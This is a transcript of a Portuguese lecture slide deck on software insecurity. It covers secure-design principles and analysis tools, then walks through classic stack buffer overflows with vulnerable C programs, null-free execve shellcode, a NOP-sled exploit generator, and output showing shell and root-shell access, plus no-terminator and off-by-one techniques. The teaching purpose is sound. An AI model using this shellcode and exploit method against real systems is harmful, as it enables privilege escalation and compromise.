(In)Segurança De Software, Quebrando Códigos
-
Upload
rafael-rosa -
Category
Technology
-
view
4.330 -
download
0
description
Transcript of (In)Segurança De Software, Quebrando Códigos
(In)Segurança de Software
Quebrando Códigos
Rafael Rosarafaeltbh *nospan* yahoo dot com dot br 10/2008
Agenda
Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória
Stack Overflow Heap Overflow Integer Overflow
Format String Bug Técnicas Modernas
WorX Stack Protector ASLR
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Agenda
Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória
Stack Overflow Heap Overflow Integer Overflow
Format String Bug Técnicas Modernas
WorX Stack Protector ASLR
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
O que é Software?Definição
Software é uma sequência de instruções a serem seguidas na manipulação, redirecionamento, ou modificação de um conjunto de dados.
Conjunto de procedimentos, documentação e estruturas de dados que visam manipular dados.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Software Sempre Falha
Falhas de software só existem porque as pessoas que os constroem estão susceptíveis a falhas.
Falta de experiência para reconhecer e remover falhas e defeitos na fase de projeto e de desenvolvimento.
Falta de conhecimento de princípios básicos de desenvolvimento seguro.
Causas
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Quando o Software Falha
Expõe dados confidenciais à usuários não autorizados.
Programa pode terminar a execução ao receber entradas não esperadas.
Pode permitir injeção e execução de código malicioso.
Consequências
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Desenvolvedores só podem aplicar patchs em bugs conhecidos. Guardados a sete chaves por grupos de invasores.
Patchs geralmente não são aplicados por desconhecimento dos usuários e por comodismo dos administradores de sistema (sistema funciona então não vou mexer, minha sistema não vai ser atacado).
Correção de Software DefeituosoManutenção
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Correção de Software Defeituoso
Correções precisam ser feitas muito rapidamente por necessidades de mercado, com isso o que deveria apenas corrigir uma vulnerabilidade pode introduzir um série de novas vulnerabilidades.
Geralmente corrigem os sintomas, não a real causa do problema.
Manutenção
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Desenvolvimento de Software
Complexidade.
Extensibilidade.
Conectividade.
Dificuldades
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Dificuldades
Software está se tornando cada vez mais complexo, o que aumenta a quantidade de defeitos de projeto.
Número cada vez maior de linhas de código. Mais bugs.
Menor funcionalidade significa menos risco de exposição.
Complexidade
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Permite a adição de novas funcionalidades a um sistema. Plug-ins, drivers de dispositivo e módulos dinamicamente carregados.
Recursos que permitem extensibilidade devem ser bem projetados. Difícil proteger algo que ainda não foi desenvolvido.
DificuldadesExtensibilidade
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Popularização da Internet. Enorme quantidade de sistemas de software trocando informações sigilosas via rede.
Alta conectividade entre usuários domésticos e infra-estruturas críticas.
Aumento do número de vetores de ataque.
DificuldadesConectividade
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Desenvolvimento de Software
Bug.
Defeito.
Falha.
Problemas
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Existe somente em código, são erros comuns cometidos por programadores.
Copiar 20 bytes para um buffer de tamanho 10.
ProblemasBug
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Condição anormal que pode existir em qualquer artefato na fase de desenvolvimento de software.
No início de uma comunicação criptografada os dois nós trocam as chaves assimétricas, e então se inicia um sessão criptografada. Através dessa sessão os dois nós trocam uma chave simétrica, de modo que os dados possam então ser criptografados pela mesma.
ProblemasDefeito
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Comportamento diferente do esperado. Defeito ou bug ativado.
Quando um atacante se coloca no meio de uma conexão criptografada desde o início do handshake, ele pode burlar toda a segurança imposta pelo método de chave assimétrica. Com isso é possível obter a chave simétrica e então escutar ou injetar dados na conexão.
ProblemasFalha
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Agenda
Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória
Stack Overflow Heap Overflow Integer Overflow
Format String Bug Técnicas Modernas
WorX Stack Protector ASLR
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Segurança de Software
Segurança é relativa. Software tem que ser seguro contra o quê? E contra quem?
Mecanismos de segurança não podem ser simplesmente adicionados à um sistema, tem que ser considerados desde o início do projeto.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Segurança de Software
Cada ambiente tem que ser analisado cuidadosamente para não afetar a usabilidade, funcionalidade e eficiência do sistema de software.
Software seguro deve prover confidenciabilidade, autenticação, controle de acesso, integridade, disponibilidade e não-repúdio.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Software Seguro
Software é tão seguro quanto sua ponta mais fraca.
Atacantes vão seguir pelo caminho de menor resistência.
Proteção da ponta mais fraca
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Software Seguro
Mecanismos de segurança devem ser redundantes. Permite vários pontos de falha.
Evita que um único ponto de falha comprometa a segurança do sistema como um todo.
Aplicação deve ser projetada como se todos os outros mecanismos de segurança do sistema tivessem sido burlados.
Defesa em profundidade
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Software Seguro
Falhas são inevitáveis e precisam ser planejadas de modo a não expôr o sistema. Recuperação de falhas é um aspecto essencial da engenharia de segurança.
Após uma falha, alterações devem ser desfeitas de modo que o sistema volte a um estado seguro.
Valores de retorno devem ser cuidadosamente checados.
Falhar de modo seguro
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Software Seguro
Mínimo de permissão durante o menor tempo possível.
Desistir de permissões elevadas assim que ações que as exigiam forem completadas.
Se uma vulnerabilidade for explorada o atacante terá tantas regalias quanto o processo quebrado.
Princípio de menor privilégio
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Software SeguroCompartimentalização
Separar o sistema em tantos compartimentos quanto for possível, de modo que cada compartimento tenha o mínimo de privilégio necessário para realizar as operações de que está encarregado.
Confinar códigos com alto nível de privilégio. Todo dano ocorrerá em um “ambiente” controlado.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Software Seguro
Complexidade aumenta o risco de defeitos.
Reutilização de componentes que já provaram sua qualidade deve ser praticada.
Não é inteligente criar rotinas próprias de criptografia e garantia de integridade.
KISS
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Software Seguro
Feedback para o usuário é diferente de prover muita informação.
Privacidade dos usuários não deve ser comprometida. Dados pessoais devem ser bem protegidos.
Privacidade
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Software Seguro
Ofuscamento de código e segurança por obscuridade não funcionam. Acesso ao binário significa acesso à informação.
Deve-se considerar que o atacante conhece o sistema tanto quanto o desenvolvedor.
Esconder segredos não é fácil
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Software Seguro
Toda interface com o software é um possível vetor de ataque.
Entrada de qualquer interface do sistema deve ser vista com desconfiança. Não se deve assumir nada em relação a I/O.
Suposições incorretas sobre o ambiente de execução do sistema resultam em problemas de segurança.
Não confiar em interfaces externas
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Software Seguro
Entidades diferentes não devem compartilhar mecanismos que permitem acessos à recursos.
O mesmo usuário de um SGBD não deve ser compartilhado entre duas aplicações. Exploração de uma aplicação pode comprometer a outra.
Mecanismo menos comum
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Software Seguro
Em toda operação realizada por um usuário deve-se validar a identidade do agente e checar as permissões do mesmo em relação à tarefa em questão.
Mediação Completa
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Analisando Software
Depurador.
Disassembler.
Descompilador.
Ferramenta de auditoria de segurança.
Fuzzer.
Ferramentas
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Analisando Software
Executa um programa passo a passo, permite análise de registradores, dumps de memória, configuração de pontos de interrupção,
OllyDbg, SofIce, gdb.
Depurador
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Analisando Software
Faz engenharia reversa do código de máquina gerando código assembly.
IDAPro, OllyDbg, gdb, Valgrind.
Disassembler
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Analisando Software
Faz engenharia reversa do código de máquina gerando código de alto nível. Código um tanto obscuro.
Depende da quantidade de informação da linguagem de alto nível contida no binário.
Rec, dcc.
Descompilador
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Analisando Software
Faz auditoria de código fonte em busca de padrões previamente conhecidos como “problemáticos”. Descrevem o problema encontrado e propõe correções.
RATS, Flawfinder, ITS4.
Ferramenta de auditoria de segurança
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Analisando Software
Injeta dados inválidos, mal formatados, maliciosos, e inesperados em pontos de entrada de dados do software. Se ocorrer algo diferente do esperado, o defeito é detectado.
Os dados de entrada por sem baseados tanto em white-box quanto em black-box.
FuzzGrind, tmin.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Fuzzers
Agenda
Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória
Stack Overflow Heap Overflow Integer Overflow
Format String Bug Técnicas Modernas
WorX Stack Protector ASLR
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Ocorre quando um bug permite que se possa extravasar a quantidade de memória reservada à um buffer, permitindo que dados sejam gravados em endereços de memória contíguos ao mesmo
Erro de programação comum em linguagem C. Muitos poderes exigem muitas responsabilidades.
O que é?
Buffer Overflow(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Esse endereço contíguo pode ser um frame de pilha, endereço de retorno, ponteiro de função ou uma variável de controle da aplicação.
Esquemas de proteção em software podem ser facilmente quebrados caso sejam controlados por dados (flags, variáveis de controle) em memória.
E daí?
Buffer Overflow(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
gets, strcpy, strcat, sprintf, scanf, sscanf, fscanf, streadd, strecpy, strtrns, getopt, getchar, fgetc, getc, read, bcopy, fgets, memcpy, snprintf, strncpy, syslog.
Funções vulneráveis
Buffer Overflow(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Overflows podem ocorrer na stack ou na heap.
Na heap são mais difíceis de explorar e de identificar.
Área de memória vulnerável
Buffer Overflow(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Agenda
Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória
Stack Overflow Heap Overflow Integer Overflow
Format String Bug Técnicas Modernas
WorX Stack Protector ASLR
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack Overflow
Área da memória reservada para chamadas de função e armazenamento de variáveis locais.
Stack
ebp
esp var2
ebp salvoret
arg1arg2
var1
buffer1
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack Overflow
Sistemas unix mapeiam a stack para regiões altas de memória:
Mapeamento da Stack
0xbffeb000 - 0xc0000000
Sistemas Windows mapeiam para regiões baixas:
0x0022ff1f - 0x00096cbf
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowMapa de memória no Linux
não usada
.init, .text, .rodata
.data, .bss
Bibliotecas compartilhadas
kernel
stack
heap
memória baixa
memória alta
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowMapa de memória no Windows
kernel
Bibliotecas compartilhadas
stack
.text
memória baixa
memória alta
heap
.data, .rodata, .bss
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowPrograma vulnerável
void func(char *str){char buffer[16];
strcpy(buffer, str);printf("%s\n", buffer);
}
int main(int argc, char *argv[]){
if(argc != 2){printf("uso: %s <param>\n", argv[0]);return 1;
}
func(argv[1]);printf("fim\n");
}
[rafael@centos stack]$ ./stack_overflow_ex1 AAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFSegmentation fault[rafael@centos stack]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowStack do programa
EBP anterior ptr strend retornobuffer[16]
esp ebp
crescimento da stack
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowVetor de injeção
EBP anterior ptr strbuffer[16] end retorno
vetor de injeção
Injetar vetor de ataque de modo a controlar o endereço de retorno.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowExecutando código inativo
void foo(){printf("nunca entra aqui\n");exit(1);
}
void func(){char buffer[16];strcpy(buffer, "AAAABBBBCCCCDDD");
*((long*)(buffer+20)) = (long)&foo;printf("%s\n", buffer);
}
int main(){func();printf("fim\n");
}
[rafael@centos stack]$ ./stack_overflow_ex2 AAAABBBBCCCCDDDnunca entra aqui[rafael@centos stack]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowControlando endereço de retorno
crescimento da stack
EBP anterior ...buffer[16]
esp ebp
end retorno
AAAA...DDD EBP anterior ptr foo ...
Endereço de retorno sobrescrito.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowExecutando um shell
E se fosse um shell?
void foo(){char *params[2];params[0] = "/bin/sh";params[1] = NULL;execve(params[0], params, NULL);
}
[rafael@centos stack]$ ./stack_overflow_ex3 AAAABBBBCCCCDDD sh-3.2$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowPlanejando o ataque
Não basta sobrescrever o endereço de retorno. Precisamos de um shellcode no nosso vetor de injeção.
Endereço de retorno deve apontar para o payload, de modo a redirecionar o fluxo para o código de execução do shell.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowEscrevendo shellcode
movl $0x80484a8,0xfffffff4(%ebp) “/bin/sh'movl $0x0,0xfffffff8(%ebp) NULLmov 0xfffffff4(%ebp),%edxmovl $0x0,0x8(%esp) NULLlea 0xfffffff4(%ebp),%eaxmov %eax,0x4(%esp) /bin/shmov %edx,(%esp) /bin/sh, NULLcall 0x8048280 <execve>
Desassemblando chamada à execve().
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowEscrevendo shellcode
mov 0x8(%ebp), %ebx “/bin/sh”mov 0xc(%ebp), %ecx {“/bin/sh”, NULL}mov 0x10(%ebp), %edx NULLmov $0xb, %eax 0xbint $0x80
Desassemblando execve().
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowEscrevendo shellcode
eax recebe 0xb.
Ponteiro para “/bin/sh” deve estar em ebx.
Ponteiro de strings em ecx.
Ponteiro NULL em edx.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowEscrevendo shellcode
BITS 32section .textglobal _start_start:
push 0 ; empilha '\0'push 0x68732f2f ; empilha “//sh”push 0x6e69622f ; empilha “/bin”mov ebx, esp ; ebx aponta para “/bin//sh”push 0 ; empilha NULLpush ebx ; empilha endereço de “/bin//sh”mov ecx, esp ; ecx aponta para ponteiros de stringsmov eax, 0xb ; eax recebe 0xb (execve)int 0x80 ; chamada de sistema
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowTestando o código
[rafael@centos stack]$ nasm -f elf -o shellcode1.o shellcode1.asm [rafael@centos stack]$ ld -s -o shellcode1 shellcode1.o [rafael@centos stack]$ ./shellcode1 sh-3.2$ exit exit [rafael@centos stack]$
[rafael@centos stack]$ nasm -f bin -o shellcode1.bin shellcode1.asm
Executando shellcode.
Gerando binário.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowBinário gerado
Binário gerado possui 0x00, o que acarretaria no término de uma operação de string.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowEscrevendo shellcode sem 0x00
BITS 32section .textglobal _start_start:
xor eax,eax ; zera eaxpush eax ; empilha eaxpush 0x68732f2f ; empilha “//sh”push 0x6e69622f ; empilha “/bin”mov ebx, esp ; ebx aponta para “/bin//sh”push eax ; empilha NULLpush ebx ; empilha endereço de “/bin//sh”mov ecx, esp ; ecx aponta para ponteiros de stringsmov al, 0xb ; al recebe 0xb (execve)int 0x80 ; chamada de sistema
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowTestando o código
[rafael@centos stack]$ nasm -f elf -o shellcode2.o shellcode2.asm [rafael@centos stack]$ ld -s -o shellcode2 shellcode2.o [rafael@centos stack]$ ./shellcode2 sh-3.2$ exit exit [rafael@centos stack]$
Executando shellcode.
[rafael@centos stack]$ nasm -f bin -o shellcode2.bin shellcode2.asm
Gerando binário.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowBinário gerado
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowShellcode ganhando eip
char shellcode[]= "\x31\xc0\x50\x68\x2f”“\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89”“\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”;
void func(){char buffer[16];
strcpy(buffer, "AAAABBBBCCCCDDD");
*((long*)(buffer+20)) = (long)shellcode;printf("%s\n", buffer);
}
int main(){func();printf("fim\n");
}
[rafael@centos stack]$ ./stack_overflow_ex4 sh-3.2$ exit exit [rafael@centos stack]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowCodificando exploit
Para criar o vetor de injeção levar em conta tamanho do buffer, alinhamento dos bytes, e restrições de entrada.
Payload pode ser colocado em qualquer localização de memória conhecida
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowCodificando exploit
ret deve estar nesse intevalo
EBP anterior ...buffer[]
crescimento da stack
end retorno
esp
NOPs ret ret ret...Shellcode ret...
ebp
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowCodificando exploit
Como prever a posição correta de retorno?
Stack geralmente é alocada no mesmo endereço.
Conhecendo o início da stack fica fácil adivinhar onde o buffer a ser explorado está localizado.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowCodificando exploit
#define RETADDRS 0xbffff600
char shellcode[]= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(int argc, char **argv){FILE *badfile;long *ptr;unsigned int ret;int n, i;char buffer[313];
if(argc != 2){fprintf(stderr, "uso: %s <ret>\n", argv[0]);return 1;
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowCodificando exploit
ret = RETADDRS - atoi(argv[1]);memset(&buffer, 0x90, 312);memcpy(buffer+120, shellcode, strlen(shellcode));
ptr = buffer + 120 + strlen(shellcode);/*alinhando em 4 bytes*/ptr = ((char*)ptr) + (4 - strlen(shellcode)%4);
n = (&buffer[311] - (char*)ptr)/4;
for(i = 0; i < n; i++)ptr[i] = ret;
buffer[312] = '\0';
badfile = fopen("./badfile_ex5.bin", "w");fwrite(buffer, 313, 1, badfile);fclose(badfile);
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowGanhando um shell
[rafael@centos stack]$ ./exploit_stack_overflow_ex5 300[rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin `������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��1Ұ �����������������������������������������������������������������������������������������������������������������������������������������������������������������������sh-3.2$
Pra que serve isso?
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowGanhando acesso irrestrito
Se o programa tivesse permissões elevadas:
[root@centos stack]# chown root stack_overflow_ex5[root@centos stack]# chmod +s stack_overflow_ex5[root@centos stack]# ls -l stack_overflow_ex5-rwsrwsrwx 1 root root 9109 2009-08-12 16:08 stack_overflow_ex5
[rafael@centos stack]$ ./exploit_stack_overflow_ex5 450[rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin `������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��1Ұ �������������������������������������������������������������������������������������������������������������������������������# whoamiroot#
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowTerminador não calculado
Operações de buffer são feitas sem levar em consideração o byte NULL de terminação da string.
Dependendo da função de tratamento o terminador pode ou não ser colocado.
Se não for colocado, a string pode ser tratada como se fosse maior do que realmente é.
Se for colocado, o byte seguinte à string será sobrescrito com 0x00.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowNo terminator
#define MAXLEN 128
int func1(char *str1, char *str2){char buffer[MAXLEN];
memset(buffer, 0xff, MAXLEN);
strncpy(buffer, str1, MAXLEN-1);strncat(buffer, str2, MAXLEN - strlen(buffer)-1);printf("%s\n", buffer);
}
/*função de auxílio, já que o frame da main é protegido*/int func(char *str1, char *str2){
int x=0;func1(str1, str2);
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowNo terminator
int main(int argc, char *argv[]){
if(argc != 3){fprintf(stderr, "uso %s <arg1> <arg2>\n", argv[0]);return 1;
}
func(argv[1], argv[2]);}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowA técnica
Quando MAXLEN-1 bytes são copiados em strncpy, o terminador não é escrito.
strlen(buffer) será maior que MAXLEN-1, fazendo a operação resultar em um valor negativo, que quando interpretado como unsigned representa um valor muito grande. Com isso acontecerá a concatenação.
O final do buffer é o primeiro byte 0x00 a partir do início do mesmo.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowA técnica
Pilha do programa vulnerável payload injetado
buf
retaddrstr1
ebp
str2x
ebpretaddr
str1str2
shellcode
retaddrstr1
ebp
str2
ret...
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowO ataque
Os 128 bytes do buffer serão preenchidos com o payload.
Mais 80 bytes serão passados com o endereço de retorno.
[rafael@centos stack]$ ../get_esp `cat badfile_nonull.bin `ESP: 0xbffff444[rafael@centos stack]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowO ataque
Deve-se considerar o tamanho do buffer:ret = 0xbffff444 - 128
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowO ataque
[rafael@centos stack]$ ./nonull `cat badfile_nonull.bin `��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��� �H�����`������������������������������������������������������������������������������������sh-3.2$ exitexit[rafael@centos stack]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowOff by one
int func1(char *str){char buf[200];
strcpy(buf, "argv[1] = "); strncat(buf, str, sizeof(buf) - strlen(buf) );
printf("%s\n", buf);}
/*função de auxílio já que o frame da main é protegido*/int func(char *str){
func1(str);}
int main(int argc, char *argv[]){
if(argc != 2){fprintf(stderr, "uso %s
<arg>\n", argv[0]);return 1;
}
func(argv[1]);}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowA técnica
Consiste na falsificação do frame de pilha da função chamadora.
retaddrstr
buf
ebp
ebpretaddr
retaddrstr
shellcode
ebp
ebpretaddr
ret...
Pilha do programa vulnerável payload injetado
Quando a função chamadora retornar, o valor apontado pelo ebp injetado + 4 tomará o controle do eip.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowA técnica
Como sobrescrevemos o byte menos significativo do ebp, o deslocamento máximo do ebp da função chamadora é 255 bytes.
Quanto menor o valor do LSB do ebp salvo, menor será o deslocamento, e quanto menor o deslocamento, pode-se garantir que o novo ebp apontará para o fim do buffer.
Preenchendo o início do buffer com o endereço do payload o fluxo será redirecionado para o código injetado.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowO ataque
Dos 200 bytes do buffer sobram 190 para a entrada do programa
[rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin `ESP: 0xbffff454[rafael@centos stack]$
O LSB deve ser menor.
[rafael@centos stack]$ export PADDING=`perl -e 'print “A”x80'`[rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin `ESP: 0xbffff3f4[rafael@centos stack]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowO ataque
Deve-se considerar o tamanho do buffer:ret = 0xbffff3f4 - 200
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack OverflowO ataque
[rafael@centos stack]$ ./off_by_one `cat badfile_off_by_one.bin `Argv[1] = �����������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��� ,���,���,���,���,���,���,���,���,���,���,���,���,���,���,���,sh-3.2$ exitexit[rafael@centos stack]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Agenda
Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória
Stack Overflow Heap Overflow Integer Overflow
Format String Bug Técnicas Modernas
